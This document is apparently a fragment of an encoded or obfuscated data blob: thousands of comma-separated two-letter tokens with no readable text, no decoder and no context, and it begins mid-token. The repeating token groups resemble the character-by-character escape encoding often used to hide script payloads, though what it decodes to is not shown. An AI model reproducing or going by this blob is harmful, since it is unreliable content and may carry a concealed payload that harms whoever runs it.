b,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,it,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,NW,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,NW,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,xv,NW,Mb,ff,RV,xv,NW,NW,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,xv,NW,Mb,ff,RV,xv,NW,xv,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,Mb,ff,RV,xv,NW,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,xv,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff